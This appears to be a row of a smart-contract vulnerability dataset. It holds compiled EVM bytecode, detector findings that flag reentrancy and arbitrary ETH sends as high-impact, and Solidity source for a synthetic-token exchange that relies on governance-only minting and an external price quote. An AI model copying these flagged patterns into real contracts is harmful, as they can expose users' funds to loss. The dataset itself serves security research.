ffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169d611159565b73ffffffffffffffffffffffffffffffffffffffff1614806117135750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fb611159565b73ffffffffffffffffffffffffffffffffffffffff16145b611752576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117499061399d565b60405180910390fd5b5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ff5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e57506012600b9054906101000a900460ff16155b1561192b576064601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118dd576103e8601260089054906101000a900461ffff1661ffff1666038d7ea4c680006118c69190613bb1565b6118d09190613b80565b8111156118dc57600080fd5b5b6012600081819054906101000a900467ffffffffffffffff168092919061190390613d67565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119d65750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a4557506012600b9054906101000a900460ff16155b15611ae6576012600c9054906101000a900460ff1615611ae5576000611a8c600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611abe600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611ac89190613bb1565b611ad29190613b80565b811115611ae357611ae281611fcf565b5b505b5b6012600b9054906101000a900460ff16611bd4576005601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b42576014601260086101000a81548161ffff021916908361ffff1602179055505b6014601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b8a57601e601260086101000a81548161ffff021916908361ffff1602179055505b601e601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bd3576103e8601260086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c7c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c9357506012600b9054906101000a900460ff165b15611c9d57600090505b611ca9848484846120c1565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d17573d6000803e3d6000fd5b5050565b6000600e54821115611d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d59906138bd565b60405180910390fd5b6000611d6c61230a565b90508083611d7a9190613b80565b915050919050565b6000600267ffffffffffffffff811115611d9f57611d9e613e25565b5b604051908082528060200260200182016040528015611dcd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611e0757611e06613df6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611e7857611e77613df6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f01600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611f879594939291906139d8565b600060405180830381600087803b158015611fa157600080fd5b505af1158015611fb5573d6000803e3d6000fd5b505050505050565b6000601081905550600a601181905550565b60016012600b6101000a81548160ff021916908315150217905550611ff381611d82565b60006005600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163161203b9190613b80565b905061205260048261204d9190613bb1565b611caf565b61205b8161232e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618260048361208a9190613bb1565b8360405161209a93929190613a32565b60405180910390a15060006012600b6101000a81548160ff02191690831515021790555050565b806120cf576120ce61237f565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121725750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561218757612182848484612391565b612304565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561222a5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561223f5761223a8484846125dc565b612303565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122e15750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f6576122f1848484612827565b612302565b612301848484612b00565b5b5b5b50505050565b6000806000612317612cbd565b9150915080826123279190613b80565b9250505090565b61233661085c565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561237b573d6000803e3d6000fd5b5050565b60006010819055506000601181905550565b6000806000806000806123a387612f6f565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fa9190613c0b565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124889190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125169190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256281612fd1565b61256c8483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125c991906139bd565b60405180910390a3505050505050505050565b6000806000806000806125ee87612f6f565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126459190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d39190613b2a565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127619190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ad81612fd1565b6127b78483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161281491906139bd565b60405180910390a3505050505050505050565b60008060008060008061283987612f6f565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128909190613c0b565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461291e9190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ac9190613b2a565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a9190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a8681612fd1565b612a908483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612aed91906139bd565b60405180910390a3505050505050505050565b600080600080600080612b1287612f6f565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b699190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bf79190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c4381612fd1565b612c4d8483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612caa91906139bd565b60405180910390a3505050505050505050565b6000806000600e549050600066038d7ea4c68000905060005b600980549050811015612f2f57826001600060098481548110612cfc57612cfb613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612dea5750816002600060098481548110612d8257612d81613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612e0657600e5466038d7ea4c6800094509450505050612f6b565b6001600060098381548110612e1e57612e1d613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612e8f9190613c0b565b92506002600060098381548110612ea957612ea8613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612f1a9190613c0b565b91508080612f2790613d1e565b915050612cd6565b5066038d7ea4c68000600e54612f459190613b80565b821015612f6257600e5466038d7ea4c68000935093505050612f6b565b81819350935050505b9091565b6000806000806000806000806000612f8c8a6010546011546131c2565b9250925092506000806000612faa8d8686612fa561230a565b61322e565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b6000612fdb61230a565b905060008183612feb9190613bb1565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461305a9190613b2a565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312c9190613b2a565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600e546131a49190613c0b565b600e8190555080600f546131b89190613b2a565b600f819055505050565b600080600080606486886131d69190613bb1565b6131e09190613b80565b90506000606486896131f29190613bb1565b6131fc9190613b80565b9050600081838a61320d9190613c0b565b6132179190613c0b565b905080838395509550955050505093509350939050565b60008060008084886132409190613bb1565b9050600085886132509190613bb1565b9050600086886132609190613bb1565b905060008183856132719190613c0b565b61327b9190613c0b565b9050838184965096509650505050509450945094915050565b60006132a76132a284613aa9565b613a84565b905080838252602082019050828560208602820111156132ca576132c9613e59565b5b60005b858110156132fa57816132e08882613304565b8452602084019350602083019250506001810190506132cd565b5050509392505050565b6000813590506133138161407f565b92915050565b6000815190506133288161407f565b92915050565b600082601f83011261334357613342613e54565b5b8135613353848260208601613294565b91505092915050565b60008151905061336b81614096565b92915050565b600081359050613380816140ad565b92915050565b600081519050613395816140ad565b92915050565b6000602082840312156133b1576133b0613e63565b5b60006133bf84828501613304565b91505092915050565b6000602082840312156133de576133dd613e63565b5b60006133ec84828501613319565b91505092915050565b6000806040838503121561340c5761340b613e63565b5b600061341a85828601613304565b925050602061342b85828601613304565b9150509250929050565b60008060006060848603121561344e5761344d613e63565b5b600061345c86828701613304565b935050602061346d86828701613304565b925050604061347e86828701613371565b9150509250925092565b6000806040838503121561349f5761349e613e63565b5b60006134ad85828601613304565b92505060206134be85828601613371565b9150509250929050565b6000602082840312156134de576134dd613e63565b5b600082013567ffffffffffffffff8111156134fc576134fb613e5e565b5b6135088482850161332e565b91505092915050565b60006020828403121561352757613526613e63565b5b60006135358482850161335c565b91505092915050565b60008060006060848603121561355757613556613e63565b5b600061356586828701613386565b935050602061357686828701613386565b925050604061358786828701613386565b9150509250925092565b600061359d83836135a9565b60208301905092915050565b6135b281613c3f565b82525050565b6135c181613c3f565b82525050565b60006135d282613ae5565b6135dc8185613b08565b93506135e783613ad5565b8060005b838110156136185781516135ff8882613591565b975061360a83613afb565b9250506001810190506135eb565b5085935050505092915050565b61362e81613c51565b82525050565b61363d81613ca8565b82525050565b600061364e82613af0565b6136588185613b19565b9350613668818560208601613cba565b61367181613e68565b840191505092915050565b6000613689602a83613b19565b915061369482613e79565b604082019050919050565b60006136ac602283613b19565b91506136b782613ec8565b604082019050919050565b60006136cf602083613b19565b91506136da82613f17565b602082019050919050565b60006136f2602983613b19565b91506136fd82613f40565b604082019050919050565b6000613715602583613b19565b915061372082613f8f565b604082019050919050565b6000613738602483613b19565b915061374382613fde565b604082019050919050565b600061375b601783613b19565b91506137668261402d565b602082019050919050565b600061377e601183613b19565b915061378982614056565b602082019050919050565b61379d81613c7d565b82525050565b6137ac81613c9b565b82525050565b60006020820190506137c760008301846135b8565b92915050565b60006040820190506137e260008301856135b8565b6137ef60208301846135b8565b9392505050565b600060408201905061380b60008301856135b8565b6138186020830184613794565b9392505050565b600060c08201905061383460008301896135b8565b6138416020830188613794565b61384e6040830187613634565b61385b6060830186613634565b61386860808301856135b8565b61387560a0830184613794565b979650505050505050565b60006020820190506138956000830184613625565b92915050565b600060208201905081810360008301526138b58184613643565b905092915050565b600060208201905081810360008301526138d68161367c565b9050919050565b600060208201905081810360008301526138f68161369f565b9050919050565b60006020820190508181036000830152613916816136c2565b9050919050565b60006020820190508181036000830152613936816136e5565b9050919050565b6000602082019050818103600083015261395681613708565b9050919050565b600060208201905081810360008301526139768161372b565b9050919050565b600060208201905081810360008301526139968161374e565b9050919050565b600060208201905081810360008301526139b681613771565b9050919050565b60006020820190506139d26000830184613794565b92915050565b600060a0820190506139ed6000830188613794565b6139fa6020830187613634565b8181036040830152613a0c81866135c7565b9050613a1b60608301856135b8565b613a286080830184613794565b9695505050505050565b6000606082019050613a476000830186613794565b613a546020830185613794565b613a616040830184613794565b949350505050565b6000602082019050613a7e60008301846137a3565b92915050565b6000613a8e613a9f565b9050613a9a8282613ced565b919050565b6000604051905090565b600067ffffffffffffffff821115613ac457613ac3613e25565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613b3582613c7d565b9150613b4083613c7d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b7557613b74613d98565b5b828201905092915050565b6000613b8b82613c7d565b9150613b9683613c7d565b925082613ba657613ba5613dc7565b5b828204905092915050565b6000613bbc82613c7d565b9150613bc783613c7d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c0057613bff613d98565b5b828202905092915050565b6000613c1682613c7d565b9150613c2183613c7d565b925082821015613c3457613c33613d98565b5b828203905092915050565b6000613c4a82613c5d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613cb382613c7d565b9050919050565b60005b83811015613cd8578082015181840152602081019050613cbd565b83811115613ce7576000848401525b50505050565b613cf682613e68565b810181811067ffffffffffffffff82111715613d1557613d14613e25565b5b80604052505050565b6000613d2982613c7d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d5c57613d5b613d98565b5b600182019050919050565b6000613d7282613c87565b915067ffffffffffffffff821415613d8d57613d8c613d98565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61408881613c3f565b811461409357600080fd5b50565b61409f81613c51565b81146140aa57600080fd5b50565b6140b681613c7d565b81146140c157600080fd5b5056fea264697066735822122080167f00a9fc168e6c41f2771d6208374775993ad868d2070617c23fadce6ded64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,415
0x9c70c845f3dc4824a912d96f6f7a57fce516726a
// SPDX-License-Identifier: bsl-1.1 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; interface IKeep3rV1Quote { struct LiquidityParams { uint sReserveA; uint sReserveB; uint uReserveA; uint uReserveB; uint sLiquidity; uint uLiquidity; } struct QuoteParams { uint quoteOut; uint amountOut; uint currentOut; uint sTWAP; uint uTWAP; uint sCUR; uint uCUR; } function assetToUsd(address tokenIn, uint amountIn, uint granularity) external returns (QuoteParams memory q, LiquidityParams memory l); function assetToEth(address tokenIn, uint amountIn, uint granularity) external view returns (QuoteParams memory q, LiquidityParams memory l); function ethToUsd(uint amountIn, uint granularity) external view returns (QuoteParams memory q, LiquidityParams memory l); function pairFor(address tokenA, address tokenB) external pure returns (address sPair, address uPair); function sPairFor(address tokenA, address tokenB) external pure returns (address sPair); function uPairFor(address tokenA, address tokenB) external pure returns (address uPair); function getLiquidity(address tokenA, address tokenB) external view returns (LiquidityParams memory l); function assetToAsset(address tokenIn, uint amountIn, address tokenOut, uint granularity) external view returns (QuoteParams memory q, LiquidityParams memory l); } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Synth { using SafeERC20 for IERC20; address public immutable exchange; address public immutable token; /// @notice EIP-20 token name for this token string public name; /// @notice EIP-20 token symbol for this token string public symbol; /// @notice EIP-20 token decimals for this token uint8 public decimals; /// @notice Total number of tokens in circulation uint public totalSupply = 0; mapping(address => mapping (address => uint)) internal allowances; mapping(address => uint) internal balances; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)"); bytes32 public immutable DOMAINSEPARATOR; /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); constructor (address _token) { token = _token; name = string(abi.encodePacked("Synthetic", IERC20(_token).name())); symbol = string(abi.encodePacked("s", IERC20(_token).symbol())); decimals = IERC20(_token).decimals(); exchange = msg.sender; DOMAINSEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _getChainId(), address(this))); } function mint(address dst, uint amount) external { require(msg.sender == exchange); // mint the amount totalSupply += amount; // transfer the amount to the recipient balances[dst] += amount; emit Transfer(address(0), dst, amount); } function burn(address dst, uint amount) external { require(msg.sender == exchange); // burn the amount totalSupply -= amount; // transfer the amount from the recipient balances[dst] -= amount; emit Transfer(dst, address(0), amount); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param amount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "permit: signature"); require(signatory == owner, "permit: unauthorized"); require(block.timestamp <= deadline, "permit: expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != type(uint).max) { uint newAllowance = spenderAllowance - amount; allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { balances[src] -= amount; balances[dst] += amount; emit Transfer(src, dst, amount); } function _getChainId() internal view returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } contract SynthetixExchange { address public governance; address public pendingGovernance; mapping(address => address) synths; IKeep3rV1Quote public constant exchange = IKeep3rV1Quote(0xAa1D14BE4b3Fa42CbBF3C3f61c6F2c57fAF559DF); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); constructor() { governance = msg.sender; } function setGovernance(address _gov) external { require(msg.sender == governance); pendingGovernance = _gov; } function acceptGovernance() external { require(msg.sender == pendingGovernance); governance = pendingGovernance; } function deploySynth(address token) external { require(msg.sender == governance); require(synths[token] == address(0)); synths[token] = address(new Synth(token)); } function mint(address token, address recipient, uint amount) external { require(msg.sender == governance); Synth(synths[token]).mint(recipient, amount); } function swap(address tokenIn, uint amountIn, address tokenOut, address recipient) external returns (uint) { (IKeep3rV1Quote.QuoteParams memory q,) = exchange.assetToAsset(tokenIn, amountIn, tokenOut, 2); Synth(synths[tokenIn]).burn(msg.sender, amountIn); Synth(synths[tokenOut]).mint(recipient, q.quoteOut); emit Swap(msg.sender, amountIn, 0, 0, q.quoteOut, recipient); return q.quoteOut; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a2578063a9059cbb11610071578063a9059cbb14610204578063d2f7265a14610217578063d505accf1461022c578063dd62ed3e1461023f578063fc0c546a1461025257610116565b806370a08231146101c35780637ecebe00146101d657806395d89b41146101e95780639dc29fac146101f157610116565b806320606b70116100e957806320606b701461017657806323b872dd1461017e57806330adf81f14610191578063313ce5671461019957806340c10f19146101ae57610116565b806306fdde031461011b578063095ea7b3146101395780631778e29c1461015957806318160ddd1461016e575b600080fd5b61012361025a565b6040516101309190610b69565b60405180910390f35b61014c610147366004610aab565b6102e8565b6040516101309190610b03565b610161610352565b6040516101309190610b0e565b610161610376565b61016161037c565b61014c61018c3660046109ff565b6103a0565b61016161046c565b6101a1610490565b6040516101309190610c3e565b6101c16101bc366004610aab565b610499565b005b6101616101d13660046109ac565b61055c565b6101616101e43660046109ac565b61057b565b61012361058d565b6101c16101ff366004610aab565b61059a565b61014c610212366004610aab565b610651565b61021f610667565b6040516101309190610aef565b6101c161023a366004610a3a565b61068b565b61016161024d3660046109cd565b61089a565b61021f6108c5565b6000805461026790610c7b565b80601f016020809104026020016040519081016040528092919081815260200182805461029390610c7b565b80156102e05780601f106102b5576101008083540402835291602001916102e0565b820191906000526020600020905b8154815290600101906020018083116102c357829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610341908690610b0e565b60405180910390a350600192915050565b7fce2f3d0cc57fc0558a92f2310f